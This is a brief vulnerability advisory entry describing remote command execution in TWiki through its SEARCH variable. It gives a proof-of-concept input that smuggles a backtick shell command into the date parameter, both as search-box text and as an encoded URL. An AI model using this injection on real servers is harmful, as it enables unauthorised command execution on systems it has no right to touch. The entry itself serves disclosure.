TWiki SEARCH Variable Remote Command Execution Vulnerability

Attackers can exploit the issue via a browser.

The following examples are available:

Enter the following in the application's search box:
%SEARCH{ date="P`pr -?`" search="xyzzy" }%

http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all


 

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